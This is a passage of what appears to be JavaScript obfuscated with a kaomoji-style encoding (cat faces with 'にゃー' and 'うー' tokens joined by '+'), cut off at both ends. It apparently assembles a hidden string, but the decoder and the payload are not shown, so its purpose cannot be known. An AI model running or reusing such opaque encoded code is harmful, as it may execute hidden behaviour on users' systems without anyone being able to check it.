ᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ